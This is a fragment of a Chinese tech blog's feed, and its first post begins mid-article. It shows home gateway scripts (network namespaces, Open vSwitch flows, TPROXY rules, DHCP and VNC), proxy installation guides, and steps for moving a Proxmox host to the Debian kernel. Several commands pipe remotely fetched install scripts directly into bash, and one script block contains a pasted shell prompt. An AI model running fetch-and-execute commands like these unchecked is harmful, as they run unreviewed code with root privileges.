&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;#!&amp;#x2F;bin&amp;#x2F;bash

LOGGER=&amp;quot;&amp;#x2F;usr&amp;#x2F;bin&amp;#x2F;logger&amp;quot;

function execute() {
  SCRIPT=&amp;quot;$1&amp;quot;
  &amp;quot;$LOGGER&amp;quot; &amp;quot;===============================&amp;quot;
  &amp;quot;$LOGGER&amp;quot; &amp;quot;executing $SCRIPT&amp;quot;
  OUTPUT=`&amp;quot;$SCRIPT&amp;quot; 2&amp;gt;&amp;amp;1`
  EXIT_CODE=$?
  &amp;quot;$LOGGER&amp;quot; &amp;quot;$SCRIPT exit code $EXIT_CODE&amp;quot;
  &amp;quot;$LOGGER&amp;quot; &amp;quot;$OUTPUT&amp;quot;
  &amp;quot;$LOGGER&amp;quot; &amp;quot;===============================&amp;quot;
}

&amp;quot;$LOGGER&amp;quot; &amp;#x27;rc-local BEGIN&amp;#x27;

execute &amp;#x2F;root&amp;#x2F;netscripts&amp;#x2F;init-nics.sh
execute &amp;#x2F;root&amp;#x2F;netscripts&amp;#x2F;init-flow.sh
execute &amp;#x2F;root&amp;#x2F;netscripts&amp;#x2F;init-vproxy0.sh
execute &amp;#x2F;root&amp;#x2F;netscripts&amp;#x2F;init-software.sh

&amp;quot;$LOGGER&amp;quot; &amp;#x27;rc-local END&amp;#x27;

exit 0
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;&lt;code&gt;&#x2F;usr&#x2F;lib&#x2F;systemd&#x2F;system&#x2F;rc-local.service&lt;&#x2F;code&gt;&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;text&quot; class=&quot;language-text &quot;&gt;&lt;code class=&quot;language-text&quot; data-lang=&quot;text&quot;&gt;[Unit]
Description=&amp;#x2F;etc&amp;#x2F;rc.local Compatibility
Documentation=man:systemd-rc-local-generator(8)
ConditionFileIsExecutable=&amp;#x2F;etc&amp;#x2F;rc.local
After=network.target

[Service]
Type=forking
ExecStart=&amp;#x2F;etc&amp;#x2F;rc.local start
TimeoutSec=0
RemainAfterExit=yes
GuessMainPID=no
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h3 id=&quot;dhcp-server&quot;&gt;DHCP Server&lt;&#x2F;h3&gt;
&lt;p&gt;&lt;code&gt;&#x2F;etc&#x2F;dhcp&#x2F;dhcpd.conf&lt;&#x2F;code&gt;&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;text&quot; class=&quot;language-text &quot;&gt;&lt;code class=&quot;language-text&quot; data-lang=&quot;text&quot;&gt;default-lease-time 86400;
max-lease-time 86400;

subnet 192.168.1.0 netmask 255.255.255.0 {
  range  192.168.1.65 192.168.1.191;
  option routers 192.168.1.1;
  option domain-name-servers 192.168.1.1;
}
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;&lt;code&gt;&#x2F;etc&#x2F;default&#x2F;isc-dhcp-server&lt;&#x2F;code&gt;&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;text&quot; class=&quot;language-text &quot;&gt;&lt;code class=&quot;language-text&quot; data-lang=&quot;text&quot;&gt;INTERFACESv4=&amp;quot;gw0&amp;quot;
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;&lt;code&gt;&#x2F;etc&#x2F;init.d&#x2F;isc-dhcp-server&lt;&#x2F;code&gt;&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;# 修改start_daemon函数
sleep 2s
&amp;#x2F;usr&amp;#x2F;sbin&amp;#x2F;ip netns exec gw start-stop-daemon --start ... # 省略
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h3 id=&quot;wang-luo-pei-zhi&quot;&gt;网络配置&lt;&#x2F;h3&gt;
&lt;p&gt;注意，这里mac信息作了抹去处理。&lt;&#x2F;p&gt;
&lt;p&gt;&lt;code&gt;&#x2F;root&#x2F;netscripts&#x2F;init-nics.sh&lt;&#x2F;code&gt;&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;#!&amp;#x2F;bin&amp;#x2F;bash

IP=&amp;quot;&amp;#x2F;usr&amp;#x2F;sbin&amp;#x2F;ip&amp;quot;
IPTABLES=&amp;quot;&amp;#x2F;usr&amp;#x2F;sbin&amp;#x2F;iptables&amp;quot;

LOCAL_UP_IP=&amp;quot;192.168.1.8&amp;quot;
LOCAL_DOWN_IP=&amp;quot;192.168.1.7&amp;quot;
VPROXY_LOCAL=&amp;quot;192.168.1.9&amp;#x2F;24&amp;quot;
VETH_UP_LOCAL=&amp;quot;$LOCAL_UP_IP&amp;#x2F;24&amp;quot;
VETH_DOWN_LOCAL=&amp;quot;$LOCAL_DOWN_IP&amp;#x2F;24&amp;quot;
UPLINK=&amp;quot;enp5s0&amp;quot;
UPLINK_LOCAL=&amp;quot;$LOCAL_UP_IP&amp;#x2F;32&amp;quot;
DOWNLINK=&amp;quot;enp1s0&amp;quot;
DOWNLINK_LOCAL=&amp;quot;$LOCAL_DOWN_IP&amp;#x2F;32&amp;quot;
GW=&amp;quot;192.168.1.1&amp;quot;

&amp;quot;$IP&amp;quot; link set &amp;quot;$UPLINK&amp;quot; up
&amp;quot;$IP&amp;quot; link set &amp;quot;$DOWNLINK&amp;quot; up

&amp;quot;$IP&amp;quot; addr add &amp;quot;$UPLINK_LOCAL&amp;quot; dev &amp;quot;$UPLINK&amp;quot;
&amp;quot;$IP&amp;quot; addr add &amp;quot;$DOWNLINK_LOCAL&amp;quot; dev &amp;quot;$DOWNLINK&amp;quot;

echo &amp;quot;&amp;quot; &amp;gt; &amp;#x2F;etc&amp;#x2F;resolv.conf
echo &amp;quot;nameserver $GW&amp;quot; &amp;gt;&amp;gt; &amp;#x2F;etc&amp;#x2F;resolv.conf

&amp;quot;$IP&amp;quot; link add veth0 type veth peer name veth0-in-br
&amp;quot;$IP&amp;quot; link set veth0 address 5c:00:00:00:00:7d
&amp;quot;$IP&amp;quot; link set veth0 up
&amp;quot;$IP&amp;quot; link set veth0-in-br up
&amp;quot;$IP&amp;quot; addr add &amp;quot;$VETH_UP_LOCAL&amp;quot; dev veth0
&amp;quot;$IP&amp;quot; route add default via &amp;quot;$GW&amp;quot;

&amp;quot;$IP&amp;quot; link add veth1 type veth peer name veth1-in-br
&amp;quot;$IP&amp;quot; link set veth1 address 5c:00:00:00:00:7c
&amp;quot;$IP&amp;quot; link set veth1 up
&amp;quot;$IP&amp;quot; link set veth1-in-br up
&amp;quot;$IP&amp;quot; addr add &amp;quot;$VETH_DOWN_LOCAL&amp;quot; dev veth1

&amp;quot;$IP&amp;quot; netns add vproxy
&amp;quot;$IP&amp;quot; netns exec vproxy &amp;quot;$IP&amp;quot; link set lo up
&amp;quot;$IP&amp;quot; link add vp-veth0 type veth peer name vp-veth0-in-br
&amp;quot;$IP&amp;quot; link set vp-veth0-in-br up
&amp;quot;$IP&amp;quot; link set vp-veth0 netns vproxy
&amp;quot;$IP&amp;quot; netns exec vproxy &amp;quot;$IP&amp;quot; link set vp-veth0 address d6:00:00:00:00:bf
&amp;quot;$IP&amp;quot; netns exec vproxy &amp;quot;$IP&amp;quot; link set vp-veth0 up
&amp;quot;$IP&amp;quot; netns exec vproxy &amp;quot;$IP&amp;quot; addr add &amp;quot;$VPROXY_LOCAL&amp;quot; dev vp-veth0
&amp;quot;$IP&amp;quot; netns exec vproxy &amp;quot;$IP&amp;quot; route add default via &amp;quot;$GW&amp;quot;

# handle virtual gw
&amp;quot;$IP&amp;quot; link add gw0 type veth peer name gw0-in-br
&amp;quot;$IP&amp;quot; link set gw0-in-br up
&amp;quot;$IP&amp;quot; netns add gw
&amp;quot;$IP&amp;quot; link set gw0 netns gw
&amp;quot;$IP&amp;quot; netns exec gw &amp;quot;$IP&amp;quot; link set gw0 address 18:00:00:00:00:e8
&amp;quot;$IP&amp;quot; netns exec gw &amp;quot;$IP&amp;quot; link set gw0 up
&amp;quot;$IP&amp;quot; netns exec gw &amp;quot;$IP&amp;quot; addr add 192.168.1.1&amp;#x2F;24 dev gw0
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;&lt;code&gt;&#x2F;root&#x2F;netscripts&#x2F;init-flow.sh&lt;&#x2F;code&gt;&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;#!&amp;#x2F;bin&amp;#x2F;bash

OF=&amp;quot;&amp;#x2F;usr&amp;#x2F;bin&amp;#x2F;ovs-ofctl&amp;quot;

GW=&amp;quot;192.168.1.1&amp;quot;
GW_MAC=&amp;quot;18:00:00:00:00:e8&amp;quot;
UPLINK=&amp;quot;enp5s0&amp;quot;
DOWNLINK=&amp;quot;enp1s0&amp;quot;
VIRTUAL=&amp;quot;vp-veth0-in-br&amp;quot;
VIRTUAL_MAC=&amp;quot;d6:00:00:00:00:bf&amp;quot;
LOCAL=&amp;quot;veth0-in-br&amp;quot;
VGW=&amp;quot;gw0-in-br&amp;quot;

# clear all flows
&amp;quot;$OF&amp;quot; del-flows ovsbr0

# forbid ipv6 packets, we do not handle them currently
&amp;quot;$OF&amp;quot; add-flow ovsbr0 &amp;quot;table=0,priority=1000,ipv6,action=drop&amp;quot;
# prevent dl_src=gw_ mac packets go to gw
&amp;quot;$OF&amp;quot; add-flow ovsbr0 &amp;quot;table=0,priority=1000,dl_src=$GW_MAC,dl_dst=$GW_MAC,action=drop&amp;quot;
# specify gw broadcast output nics
&amp;quot;$OF&amp;quot; add-flow ovsbr0 &amp;quot;table=0,priority=1000,dl_dst=ff:ff:ff:ff:ff:ff,dl_src=$GW_MAC,action=output:$DOWNLINK,output:$LOCAL,output:$VIRTUAL&amp;quot;
# arp response to gw should go to both uplink and vgw
&amp;quot;$OF&amp;quot; add-flow ovsbr0 &amp;quot;table=0,priority=1000,arp,dl_dst=$GW_MAC,action=output:$UPLINK,output:$VGW&amp;quot;
# arp for gw go to uplink
&amp;quot;$OF&amp;quot; add-flow ovsbr0 &amp;quot;table=0,priority=999,arp,nw_dst=$GW,action=output:$UPLINK&amp;quot;
# dhcp req go to vgw
&amp;quot;$OF&amp;quot; add-flow ovsbr0 &amp;quot;table=0,priority=1000,udp,tp_src=68,tp_dst=67,action=output:$VGW&amp;quot;
# dhcp resp go to donwlink
&amp;quot;$OF&amp;quot; add-flow ovsbr0 &amp;quot;table=0,priority=1000,udp,tp_src=67,tp_dst=68,action=output:$DOWNLINK&amp;quot;
# forbid dhcp from uplink
&amp;quot;$OF&amp;quot; add-flow ovsbr0 &amp;quot;table=0,priority=1000,in_port=$UPLINK,udp,tp_src=67,tp_dst=68,action=drop&amp;quot;
&amp;quot;$OF&amp;quot; add-flow ovsbr0 &amp;quot;table=0,priority=1000,in_port=$UPLINK,udp,tp_src=68,tp_dst=67,action=drop&amp;quot;
# prevent virtual network sending out gw arp packets
&amp;quot;$OF&amp;quot; add-flow ovsbr0 &amp;quot;table=0,priority=1000,in_port=vp-veth0-in-br,arp,nw_src=$GW,action=drop&amp;quot;
# redirect dns requests to virtual network
&amp;quot;$OF&amp;quot; add-flow ovsbr0 &amp;quot;table=0,priority=499,udp,nw_dst=$GW,tp_dst=53,action=set_field:$VIRTUAL_MAC-&amp;gt;dl_dst,output:$VIRTUAL&amp;quot;
# dns requests from virtual network go to gw (this is required because the priority=499 flow redirects all dns traffic)
&amp;quot;$OF&amp;quot; add-flow ovsbr0 &amp;quot;table=0,priority=500,in_port=vp-veth0-in-br,udp,nw_dst=$GW,tp_dst=53,action=output:$UPLINK&amp;quot;
# flow to virtual network
&amp;quot;$OF&amp;quot; add-flow ovsbr0 &amp;quot;table=0,priority=500,ip,nw_dst=100.96.0.0&amp;#x2F;11,action=set_field:$VIRTUAL_MAC-&amp;gt;dl_dst,output:$VIRTUAL&amp;quot;
# normal flow to gw should go through uplink
&amp;quot;$OF&amp;quot; add-flow ovsbr0 &amp;quot;table=0,priority=200,dl_dst=$GW_MAC,action=output:$UPLINK&amp;quot;
# ensure normal flow exists
&amp;quot;$OF&amp;quot; add-flow ovsbr0 &amp;quot;table=0,priority=0,actions=NORMAL&amp;quot;
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;&lt;code&gt;&#x2F;root&#x2F;netscripts&#x2F;init-vproxy0.sh&lt;&#x2F;code&gt;&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;#!&amp;#x2F;bin&amp;#x2F;bash

IP=&amp;quot;&amp;#x2F;usr&amp;#x2F;sbin&amp;#x2F;ip&amp;quot;

&amp;quot;$IP&amp;quot; netns exec vproxy &amp;#x2F;root&amp;#x2F;netscripts&amp;#x2F;init-vproxy.sh
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;&lt;code&gt;&#x2F;root&#x2F;netscripts&#x2F;init-vproxy.sh&lt;&#x2F;code&gt;&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;#!&amp;#x2F;bin&amp;#x2F;bash

IP=&amp;quot;&amp;#x2F;usr&amp;#x2F;sbin&amp;#x2F;ip&amp;quot;

&amp;quot;$IP&amp;quot; netns exec vproxy &amp;#x2F;root&amp;#x2F;netscripts&amp;#x2F;init-vproxy.sh
root@wkgcass-LZX:~&amp;#x2F;netscripts# cat init-vproxy.sh
#!&amp;#x2F;bin&amp;#x2F;bash

IP=&amp;quot;&amp;#x2F;usr&amp;#x2F;sbin&amp;#x2F;ip&amp;quot;
IPTABLES=&amp;quot;&amp;#x2F;usr&amp;#x2F;sbin&amp;#x2F;iptables&amp;quot;

NETWORK=&amp;quot;100.96.0.0&amp;#x2F;11&amp;quot;

&amp;quot;$IP&amp;quot; route add local &amp;quot;$NETWORK&amp;quot; dev lo src 127.0.0.1
&amp;quot;$IPTABLES&amp;quot; -t mangle -I PREROUTING -d &amp;quot;$NETWORK&amp;quot; -p tcp -j TPROXY --on-port=8888 --on-ip=&amp;quot;127.0.0.1&amp;quot;
&amp;quot;$IPTABLES&amp;quot; -t nat -I PREROUTING -d 192.168.1.1 -p udp --dport 53 -j REDIRECT --to-port 53

source &amp;#x2F;root&amp;#x2F;.bashrc
HOME=root pm2 start &amp;#x2F;root&amp;#x2F;vproxy&amp;#x2F;vproxy.pm2.json
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h3 id=&quot;ruan-jian&quot;&gt;软件&lt;&#x2F;h3&gt;
&lt;p&gt;&lt;code&gt;&#x2F;root&#x2F;netscripts&#x2F;init-software.sh&lt;&#x2F;code&gt;&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;text&quot; class=&quot;language-text &quot;&gt;&lt;code class=&quot;language-text&quot; data-lang=&quot;text&quot;&gt;#!&amp;#x2F;bin&amp;#x2F;bash

&amp;#x2F;usr&amp;#x2F;bin&amp;#x2F;websockify -D --web=&amp;#x2F;usr&amp;#x2F;share&amp;#x2F;novnc&amp;#x2F; --cert=&amp;#x2F;etc&amp;#x2F;novnc&amp;#x2F;novnc.pem 6080 --ssl-only localhost:5900
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;&lt;code&gt;&#x2F;lib&#x2F;systemd&#x2F;system&#x2F;x11vnc.service&lt;&#x2F;code&gt;&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;text&quot; class=&quot;language-text &quot;&gt;&lt;code class=&quot;language-text&quot; data-lang=&quot;text&quot;&gt;[Unit]
Description=x11vnc
After=multi-user.target

[Service]
Type=simple
ExecStart=&amp;#x2F;usr&amp;#x2F;bin&amp;#x2F;x11vnc -auth guess -forever -loop -noxdamage -repeat -rfbauth &amp;#x2F;etc&amp;#x2F;x11vnc&amp;#x2F;pass -rfbport 5900 -shared -listen 127.0.0.1 -no6

[Install]
WantedBy=multi-user.target
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;生成证书和私钥：&lt;&#x2F;p&gt;
&lt;p&gt;&lt;code&gt;openssl req -x509 -nodes -newkey rsa:2048 -keyout novnc.pem -out novnc.pem -days 365&lt;&#x2F;code&gt;&lt;&#x2F;p&gt;
</content>
        
    </entry>
    <entry xml:lang="en">
        <title>clash verge 与 233boy sing-box 配合使用</title>
        <published>2025-10-06T16:44:12+08:00</published>
        <updated>2025-10-06T16:44:12+08:00</updated>
        
        <author>
          <name>
            
              moxuetianya
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://vercel.juzhong.asia/2025/10/clash verge 与 233boy sing-box 配合使用/"/>
        <id>https://vercel.juzhong.asia/2025/10/clash verge 与 233boy sing-box 配合使用/</id>
        
        <content type="html" xml:base="https://vercel.juzhong.asia/2025/10/clash verge 与 233boy sing-box 配合使用/">&lt;h1 id=&quot;sing-box-fu-wu-duan-pei-zhi&quot;&gt;sing-box 服务端配置&lt;&#x2F;h1&gt;
&lt;p&gt;在vps 上配置一个代理节点&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;bash &amp;lt;(wget -qO- -o- https:&amp;#x2F;&amp;#x2F;github.com&amp;#x2F;233boy&amp;#x2F;sing-box&amp;#x2F;raw&amp;#x2F;main&amp;#x2F;install.sh)
sing-box
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h1 id=&quot;an-zhuang-clash-verge-ke-hu-duan&quot;&gt;安装clash verge 客户端&lt;&#x2F;h1&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;
wget https:&amp;#x2F;&amp;#x2F;github.com&amp;#x2F;clash-verge-rev&amp;#x2F;clash-verge-rev&amp;#x2F;releases&amp;#x2F;download&amp;#x2F;v2.4.2&amp;#x2F;Clash.Verge_2.4.2_amd64.deb
sudo apt install .&amp;#x2F;Clash.Verge_2.4.2_amd64.deb
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h1 id=&quot;pei-zhi-clash-verge-tian-jia-zi-jian-jie-dian&quot;&gt;配置clash verge 添加自建节点&lt;&#x2F;h1&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;在clash的订阅页面新建一个local本地配置,文件可以置空
&lt;img src=&quot;&#x2F;images&#x2F;2025-10-06-16-52-57-clash-verge.png&quot; alt=&quot;clash verge sub&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;右击编译本地配置文件
&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;www.clashverge.dev&#x2F;guide&#x2F;config.html&quot;&gt;配置模板&lt;&#x2F;a&gt;
&lt;img src=&quot;&#x2F;images&#x2F;2025-10-06-17-05-03-clash-verge-config.png&quot; alt=&quot;clash-config&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;右击编辑本地节点
将服务端的配置复制进来即可
复制【链接（RUL）】&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;# 查看服务端配置
sb info
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;images&#x2F;2025-10-06-17-09-02-vless-config.png&quot; alt=&quot;vless-config&quot; &#x2F;&gt;
&lt;img src=&quot;&#x2F;images&#x2F;2025-10-06-17-12-00-clash-proxy-node.png&quot; alt=&quot;clash-node-config&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
</content>
        
    </entry>
    <entry xml:lang="en">
        <title>233boy 代理脚本使用</title>
        <published>2025-10-06T14:02:52+08:00</published>
        <updated>2025-10-06T14:02:52+08:00</updated>
        
        <author>
          <name>
            
              moxuetianya
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://vercel.juzhong.asia/2025/10/learn/233boy 代理脚本使用/"/>
        <id>https://vercel.juzhong.asia/2025/10/learn/233boy 代理脚本使用/</id>
        
        <content type="html" xml:base="https://vercel.juzhong.asia/2025/10/learn/233boy 代理脚本使用/">&lt;h1 id=&quot;ming-ling-xing-guan-li-he-an-zhuang-sing-box-huo-xray&quot;&gt;命令行管理和安装sing-box 或 xray&lt;&#x2F;h1&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;bash &amp;lt;(wget -qO- -o- https:&amp;#x2F;&amp;#x2F;github.com&amp;#x2F;233boy&amp;#x2F;sing-box&amp;#x2F;raw&amp;#x2F;main&amp;#x2F;install.sh)
sing-box
sb

bash &amp;lt;(wget -qO- -o- https:&amp;#x2F;&amp;#x2F;github.com&amp;#x2F;233boy&amp;#x2F;xray&amp;#x2F;raw&amp;#x2F;main&amp;#x2F;install.sh)
xray
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h1 id=&quot;web-ui-mian-ban&quot;&gt;web ui 面板&lt;&#x2F;h1&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;# https:&amp;#x2F;&amp;#x2F;github.com&amp;#x2F;vaxilu&amp;#x2F;x-ui.git
bash &amp;lt;(curl -Ls https:&amp;#x2F;&amp;#x2F;raw.githubusercontent.com&amp;#x2F;mhsanaei&amp;#x2F;3x-ui&amp;#x2F;master&amp;#x2F;install.sh)
x-ui   # tui config
# https:&amp;#x2F;&amp;#x2F;github.com&amp;#x2F;alireza0&amp;#x2F;s-ui.git
bash &amp;lt;(curl -Ls https:&amp;#x2F;&amp;#x2F;raw.githubusercontent.com&amp;#x2F;alireza0&amp;#x2F;s-ui&amp;#x2F;master&amp;#x2F;install.sh)
s-ui
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
</content>
        
    </entry>
    <entry xml:lang="en">
        <title>sing-box手动配置（已合并）</title>
        <published>2025-10-05T22:28:01+08:00</published>
        <updated>2026-08-21T00:00:00+00:00</updated>
        
        <author>
          <name>
            
              moxuetianya
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://vercel.juzhong.asia/2025/10/learn/sing-box手动配置/"/>
        <id>https://vercel.juzhong.asia/2025/10/learn/sing-box手动配置/</id>
        
        <content type="html" xml:base="https://vercel.juzhong.asia/2025/10/learn/sing-box手动配置/">&lt;meta http-equiv=&quot;refresh&quot; content=&quot;0; url=&#x2F;2025&#x2F;11&#x2F;learn&#x2F;sing-box%20手动配置(deb安装)&#x2F;&quot;&gt;
&lt;p&gt;已合并至 &lt;a href=&quot;&#x2F;2025&#x2F;11&#x2F;learn&#x2F;sing-box%20%E6%89%8B%E5%8A%A8%E9%85%8D%E7%BD%AE(deb%E5%AE%89%E8%A3%85)&#x2F;&quot;&gt;sing-box 手动配置&lt;&#x2F;a&gt;。&lt;&#x2F;p&gt;
</content>
        
    </entry>
    <entry xml:lang="en">
        <title>pve kernel切换debian kernel</title>
        <published>2025-10-05T14:54:48+08:00</published>
        <updated>2025-10-05T14:54:48+08:00</updated>
        
        <author>
          <name>
            
              moxuetianya
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://vercel.juzhong.asia/2025/10/pve kernel切换debian kernel/"/>
        <id>https://vercel.juzhong.asia/2025/10/pve kernel切换debian kernel/</id>
        
        <content type="html" xml:base="https://vercel.juzhong.asia/2025/10/pve kernel切换debian kernel/">&lt;h1 id=&quot;pve-shi-yong-de-shi-pve-kernel-ta-ji-yu-debian-de-linux-image-dan-e-wai-bao-han&quot;&gt;PVE 使用的是 pve-kernel，它基于 Debian 的 linux-image，但额外包含：&lt;&#x2F;h1&gt;
&lt;p&gt;pve kernel 和普通的debian内核比较做了部分特殊优化：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;ZFS on Linux 官方支持（关键！）&lt;&#x2F;li&gt;
&lt;li&gt;PVE 官方内核预编译了 ZFS 模块&lt;&#x2F;li&gt;
&lt;li&gt;与 zfsutils-linux 包完美兼容&lt;&#x2F;li&gt;
&lt;li&gt;Ceph&#x2F;RBD 优化&lt;&#x2F;li&gt;
&lt;li&gt;KVM&#x2F;QEMU 虚拟化相关补丁&lt;&#x2F;li&gt;
&lt;li&gt;长期稳定 + 安全更新由 Proxmox 团队维护&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;如果不使用这些特性可以切换为正常的debian内核&lt;&#x2F;p&gt;
&lt;h1 id=&quot;qie-huan-debianpu-tong-nei-he&quot;&gt;切换debian普通内核&lt;&#x2F;h1&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;# 检查是否有 ZFS 池
zpool status
# 检查根文件系统是否在 ZFS 上
df &amp;#x2F; 
# 如果显示类似 zfs 或 rpool&amp;#x2F;ROOT，说明根在 ZFS 上 → ❌ 不要继续！
# 检查 PVE 存储配置
pvesm status
# 确保所有存储类型是 ext4、lvm、nfs、ceph 等，**不是 zfspool 或 zfs**

# 安装普通内核
apt install linux-image-amd64 linux-headers-amd64
# 更新 grub（确保新内核在启动项中）
update-grub
# 安装固件包: 这个安装时失败了， 说让彻底删除pve， 先不安装了
apt install firmware-linux firmware-realtek firmware-intel-sound
# 查看已安装的内核
dpkg -l | grep linux-image
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h1 id=&quot;pei-zhi-grub-qi-dong-debiannei-he&quot;&gt;配置grub 启动debian内核&lt;&#x2F;h1&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;sudo grep -En &amp;quot;\b(menuentry|submenu)\b&amp;quot; &amp;#x2F;boot&amp;#x2F;grub&amp;#x2F;grub.cfg
# 设置永久默认项（通过编号）
sudo grub-set-default 0
# 验证设置
sudo grub-editenv list
# Debian&amp;#x2F;Ubuntu 图形化配置
sudo apt install grub-customizer
# 然后运行：grub-customizer

# GRUB 2.00+ 版本将不同内核版本放入了 &amp;quot;Advanced options&amp;quot; 子菜单中，所以完整的菜单路径:
sudo grub-reboot &amp;quot;Advanced options for Proxmox VE GNU&amp;#x2F;Linux&amp;gt;Proxmox VE GNU&amp;#x2F;Linux, with Linux 6.1.0-40-amd64&amp;quot;
# 已切换到 Debian 内核且不用 ZFS，可以禁用这个无用的脚本避免未来干扰
sudo mv &amp;#x2F;etc&amp;#x2F;kernel&amp;#x2F;postinst.d&amp;#x2F;zz-proxmox-boot &amp;#x2F;etc&amp;#x2F;kernel&amp;#x2F;postinst.d&amp;#x2F;zz-proxmox-boot.disabled
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h1 id=&quot;xiu-fu-qie-huan-nei-he-hou-xu-ni-ji-wang-luo-shi-xiao&quot;&gt;修复切换内核后虚拟机网络失效&lt;&#x2F;h1&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;lsmod | grep virtio
modprobe virtio-net
update-initramfs -u -k $(uname -r)

echo virtio-net | sudo tee -a &amp;#x2F;etc&amp;#x2F;modules-load.d&amp;#x2F;virtio.conf
echo virtio-blk | sudo tee -a &amp;#x2F;etc&amp;#x2F;modules-load.d&amp;#x2F;virtio.conf

# 显卡固件
wget https:&amp;#x2F;&amp;#x2F;git.kernel.org&amp;#x2F;pub&amp;#x2F;scm&amp;#x2F;linux&amp;#x2F;kernel&amp;#x2F;git&amp;#x2F;firmware&amp;#x2F;linux-firmware.git&amp;#x2F;plain&amp;#x2F;i915&amp;#x2F;dg2_dmc_ver2_07.bin
sudo mkdir -p &amp;#x2F;lib&amp;#x2F;firmware&amp;#x2F;i915&amp;#x2F;
sudo cp dg2_dmc_ver2_07.bin &amp;#x2F;lib&amp;#x2F;firmware&amp;#x2F;i915&amp;#x2F;
sudo update-initramfs -u -k $(uname -r)

cat &amp;#x2F;etc&amp;#x2F;network&amp;#x2F;interfaces
cat &amp;#x2F;etc&amp;#x2F;pve&amp;#x2F;qemu-server&amp;#x2F;100.conf

iptables -L -n  # 检查是否有阻止流量的规则
ip route        # 检查默认路由是否正确o

# 如果策略是 DROP，需要放行桥接流量
sudo iptables -I FORWARD -i vmbr0 -s 192.168.2.0&amp;#x2F;24 -j ACCEPT
sudo iptables -I FORWARD -o vmbr0 -d 192.168.2.0&amp;#x2F;24 -j ACCEPT
systemctl enable netfilter-persistent
netfilter-persistent save
# sudo apt install iptables-persistent
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
</content>
        
    </entry>
    <entry xml:lang="en">
        <title>使用 iptables 的 tproxy 完成本机访问家里内网的透明代理</title>
